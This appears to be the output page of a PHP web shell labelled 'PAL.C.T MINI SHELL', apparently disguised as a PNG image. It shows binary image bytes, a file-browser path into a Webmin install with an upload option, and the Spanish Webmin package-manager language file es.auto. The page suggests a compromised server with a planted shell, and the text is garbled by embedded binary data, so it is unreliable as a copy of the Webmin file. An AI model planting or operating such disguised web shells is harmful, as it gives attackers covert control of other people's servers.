php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/software/lang/
upload
files >> //usr/libexec/webmin/software/lang/es.auto

index_epackagecmd=El sistema de paquetes $1 requiere el comando $2 
index_eupdatecmd=El sistema de actualización $1 requiere el comando $2 
index_epackagecheck=El sistema de administración de paquetes seleccionado no es válido: $1. <br>Es posible que deba seleccionar un sistema diferente en la página<a href='$2'> configuración del módulo </a>.
index_eupdatecheck=El sistema de actualización seleccionado no es válido: $1. <br>Es posible que deba seleccionar un método de actualización diferente en la página<a href='$2'> configuración del módulo </a>.
index_echeckpackage=¡No se detectó ningún sistema de paquete!
index_echeckupdate=¡No se detectó ningún sistema de actualización!
index_filter=Paquetes de filtros
index_filterclear=Filtro claro
index_filtered=Visualización de paquetes <tt>$1</tt> de <tt>$2</tt>

edit_listdesc=Mostrar todos los archivos de este paquete y su estado de verificación actual.
edit_uninstdesc=Elimine este paquete de su sistema.

delete_rusure2=¿Está seguro de que desea eliminar el paquete $1 ?
delete_purge=¿Purgar archivos de configuración?
delete_depstoo=¿Se eliminaron las dependencias no utilizadas también?

install_eupdate=No se ha introducido ningún paquete para instalar

rpm_findrpm=Nombre del paquete
rpm_finddistro=Distribución
rpm_finddesc=Descripción

slack_edir=Falta el directorio de paquetes de Slackware $1 

log_install_yum_l=Paquete (s) instalado (s) $1 de YUM
log_install_yum=$2 paquete (s) instalado desde YUM
log_install_rhn_l=Paquete (s) instalado (s) $1 de Redhat Network
log_install_rhn=Se instalaron $2 paquete (s) de Redhat Network

rhn_header=Opciones de actualización automática de paquetes

apt_header=Opciones de actualización del paquete APT
apt_repo_url=URL base del repositorio
apt_repo_path=Componentes de ruta de distribución
apt_repo_eurl=URL base faltante o de aspecto no válido
apt_repo_epath=Falta la ruta de distribución

yum_repo_id=ID del repositorio
yum_repo_name=Descripción del repositorio
yum_repo_url=URL base del paquete
yum_repo_gpg=Archivo de certificado GPG
yum_repo_none=No firmado
yum_repo_eid=ID de repositorio faltante o no válida: solo se permiten letras y números
yum_repo_eidclash=La ID del repositorio ya está en uso
yum_repo_ename=Falta el nombre del repositorio
yum_repo_eurl=URL del repositorio faltante o no válida
yum_repo_egpg=Falta el archivo de certificado GPG o no existe
yum_repo_efile=¡El archivo del repositorio ya existe!

cygwin_edb=Falta la base de datos de paquetes de Cygwin $1 

csw_already=.. ya instalado.
csw_retry=.. intentando de nuevo con nuevas dependencias.
csw_form=Paquetes de actualización
csw_upgrade=Actualizar todos los paquetes instalados
csw_updatedesc=Actualización de todos los paquetes instalados con el comando $1 ..

missing_msg=Webmin puede instalar automáticamente el paquete $1 con $2.
missing_now=Instalar ahora

msi_users=Poner a disposición una nueva aplicación para
msi_users0=Nadie
msi_users1=Usuario actual
msi_users2=Todos los usuarios
msi_missing=No existe
msi_size=Tamaño equivocado

hpux_create_target_path=Crear ruta de destino?
hpux_mount_all_filesystems=¿Montar todos los sistemas de archivos?
hpux_reinstall=¿Reinstalar?
hpux_reinstall_files=Reinstalar archivos?
hpux_reinstall_files_use_cksum=¿Reinstalar archivos usa suma de comprobación?
hpux_allow_multiple_versions=¿Permitir múltiples versiones?
hpux_defer_configure=¿Aplazar configuración?
hpux_autorecover_product=Producto de autorrecuperación?
hpux_allow_downdate=¿Permitir downdate?
hpux_allow_incompatible=Permitir incompatible?
hpux_autoselect_dependencies=¿Autoseleccionar dependencias?
hpux_enforce_dependencies=¿Hacer cumplir las dependencias?
hpux_enforce_scripts=¿Hacer cumplir los guiones?
hpux_enforce_dsa=¿Hacer cumplir el análisis de espacio en disco?
hpux_root=Directorio raíz

ports_install=Instalando puertos FreeBSD $1 ..
ports_failed=.. algunos puertos fallaron
ports_ok=.. instalación completa
ports_input=Paquete de puertos
ports_find=Buscar puertos
ports_name=Puertos FreeBSD
ports_form=Actualizar la base de datos de puertos
ports_apply=Descargar la última instantánea
ports_upgrade=Descargando Instantánea de Puertos
ports_running=Ejecutando el comando $1 ..

pkg_install=Instalando paquetes de FreeBSD $1 ..
pkg_failed=.. algunos paquetes fallaron
pkg_ok=.. instalación completa
pkg_find=Búsqueda pkgng
pkg_input=Paquete de pkgng

pkgsrc_install=Instalación de paquetes pkgsrc $1 ..
pkgsrc_failed=.. algunos paquetes fallaron
pkgsrc_ok=.. instalación completa
pkgsrc_find=Búsqueda pkgng
pkgsrc_input=Paquete de pkgsrc

log_IPKG_update=Base de datos IPKG actualizada
log_IPKG_upgrade=Paquetes IPKG instalados actualizados

IPKG_name=IPKG
IPKG_input=Paquete de IPKG
IPKG_find=Examinar IPKG ..
IPKG_form=Administrar paquetes IPKG
IPKG_update=Actualizar la base de datos del paquete IPKG
IPKG_upgrade=Actualizar paquetes de IPKG instalados
IPKG_title_update=Actualización de IPKG Databse
IPKG_title_upgrade=Actualización de paquetes instalados
IPKG_updatedesc=Ejecutando el comando $1 ..
IPKG_upgradefailed=.. ¡ha fallado!
IPKG_upgradeok=.. completo.
IPKG_install=Instalación de paquete (s) con el comando $1 ..
IPKG_ok=.. instalación completa.
IPKG_failed=.. ¡instalación fallida!
IPKG_index_tree=Administrar paquetes IPKG
IPKG_install_package=Instalar en pc
IPKG_install_packagedesc=Instale este paquete en su sistema
IPKG_noupgrade=Nada que actualizar
IPKG-edit_title=Gestionar paquete IPKG
IPKG_update_avail=Actualización disponible:
IPKG_not_installed=El paquete no está instalado
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`